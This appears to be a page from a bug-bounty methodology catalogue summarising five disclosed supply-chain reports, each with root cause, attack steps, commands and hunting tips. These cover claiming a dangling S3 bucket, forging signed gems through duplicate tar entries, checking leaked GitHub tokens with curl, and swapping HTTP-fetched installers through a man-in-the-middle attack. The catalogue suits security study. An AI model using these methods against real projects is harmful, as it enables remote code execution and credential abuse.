β—† Medium
Specimen #399166 Β· rocket_chat Β· none Β· 35 votes Β· resolved
Program rocket_chatSurface cloudChain dangling S3 bucket -> attacker-controlled artifact -> Tag cloud-awsTag subdomain-takeover

Root cause

The project's install.sh curls a build artifact from a hardcoded S3 bucket that was never created/claimed. Anyone can register that bucket name and serve a malicious tarball, which the script downloads and executes on every user's machine.

Method

  1. Read install/build scripts for hardcoded remote URLs (S3 buckets, GitHub releases, package hosts)
  2. Check whether the bucket exists: aws s3 ls s3://BUCKET (NoSuchBucket = claimable)
  3. Create the bucket and host a benign PoC file at the exact path the script fetches
  4. Show the script now pulls and runs attacker content
aws s3 ls s3://rocketchatbuild # -> NoSuchBucket -> create it and host rocket.chat-develop.tgz curl -fSL "https://s3.amazonaws.com/rocketchatbuild/rocket.chat-develop.tgz" -o rocket.chat.tgz && tar zxf rocket.chat.tgz

Insight β€” Grep install/build/CI scripts (install.sh, Dockerfile, Makefile, CI yaml) for fetches from S3 buckets, GCS, or package names, then test each host for claimability (dangling S3 bucket, unregistered npm/pypi name). A dangling bucket in a run-as-root installer is broad RCE - same class as subdomain takeover but for artifact hosts.

Real-world example

Gem signature forgery via verify-vs-install tar parser differential

β—† Medium
Specimen #275269 Β· rubygems Β· 1000 Β· 16 votes Β· resolved
Program rubygemsSurface other

Root cause

gem's extract_files reads the FIRST data.tar.gz tar entry while verify reads the LAST. A tar may contain duplicate-named entries, so an attacker prepends a malicious data.tar.gz (installed) while the genuine signed data.tar.gz (verified) is honored - passing even -P HighSecurity.

Method

  1. Take a genuine signed gem
  2. Prepend a second data.tar.gz entry with malicious contents (duplicate name)
  3. verify honors the last (genuine, signed) entry; extract_files installs the first (malicious) entry
  4. gem install -P HighSecurity succeeds and installs the forged payload
# tar with duplicate entries; forge-gem.sh technique tar tvf forged.gem # two data.tar.gz entries: [malicious first] ... [genuine+sig last]

Insight β€” A general signature-bypass class: whenever the code path that VERIFIES a signature and the path that USES the content parse the container differently (which duplicate entry wins?), forgery is possible. Test formats allowing duplicate names - tar, zip, multipart, JSON - for verify/consume disagreement.

Real-world example

Broken release integrity: published checksum is the empty-string hash

β—† Medium
Specimen #1130416 Β· kubernetes Β· awarded Β· 11 votes Β· resolved
Program kubernetesSurface other

Root cause

Published SHA512 checksums for most Kubernetes release tarballs were wrong and identical across releases - the constant cf83e1357...da3e, which is SHA512 of empty input - so artifact integrity could not be verified and tampering would go undetected.

Method

  1. Download a release artifact and its published checksum
  2. Compute the real hash (sha512sum / openssl dgst -sha512)
  3. Notice the published value is the empty-string hash constant and identical across versions
# SHA512 of empty input (a red flag if it appears as a published checksum): cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Insight β€” Learn the hash-of-empty-string constants (SHA512 cf83e1357..., SHA256 e3b0c442...); seeing them in a checksum/signature field signals a broken integrity pipeline hashing nothing. Always verify published checksums actually match the artifact, not merely that a checksum is present.

Real-world example

CI/CD token disclosure in public build logs (Travis CI)

β—† Medium
Specimen #212067 Β· algolia Β· $100 Β· 10 votes Β· resolved
Program algoliaSurface otherTag supply-chain

Root cause

A CI deploy step (gh-pages push) echoes the authenticated git remote URL to stdout, embedding the bot account's GitHub token in the public Travis CI job log; the token carries public_repo scope granting commit access.

Method

  1. Enumerate the target's public CI (Travis/CircleCI/GitHub Actions) build logs
  2. Grep logs for tokens in echoed git URLs / gh-pages deploy output (https://<token>@github.com/...)
  3. Validate scope: GET https://api.github.com/user and /user/repos with the token
curl -H 'Authorization: token GHP_LEAKED' https://api.github.com/user curl -H 'Authorization: token GHP_LEAKED' https://api.github.com/user/repos

Insight β€” Public CI job logs are a prime secret source: deploy scripts that print the authenticated remote (push to https://TOKEN@github.com) leak creds on every build. Check historical builds too - the leak recurs until the pipeline is fixed and the token rotated.

Real-world example

Install script fetches root-run binaries over HTTP w/o verification

β—† Medium
Specimen #186352 Β· phabricator Β· USD 300 Β· 8 votes Β· resolved
Program phabricatorSurface otherChain MITM -> tampered binary -> RCE as root during install

Root cause

Official installation scripts download components (go-pear.phar, epel-release rpm) over plain http:// and execute/install them with sudo, with no checksum or GPG verification. An on-path (MITM) attacker or compromised mirror gains root code execution.

Method

  1. Audit install/setup scripts for http:// (not https) download URLs
  2. Flag any that pipe/exec/install the artifact with sudo/root and lack sha256 or GPG check
  3. MITM the fetch (ARP/DNS/rogue mirror) and swap the payload -> code runs as root
# from install_rhel-derivs.sh wget http://pear.php.net/go-pear.phar $SUDO php go-pear.phar && $SUDO pecl install apc $SUDO rpm -Uvh http://download.fedoraproject.org/pub/epel/5/i386/epel-release-5-4.noarch.rpm

Insight β€” grep install/bootstrap/Dockerfile/CI scripts for 'http://' + 'sudo|curl|wget|rpm|pip|npm'. Unverified root-privileged HTTP fetches are a reliable MITM/supply-chain RCE primitive.

Β§References & practice

  1. No dedicated PortSwigger lab for this class; use the methodology above and the cited reports.
  2. All 31 disclosed reports for this class are catalogued as specimens above.
  3. See also: exploit chains Β· payload libraries Β· methodology.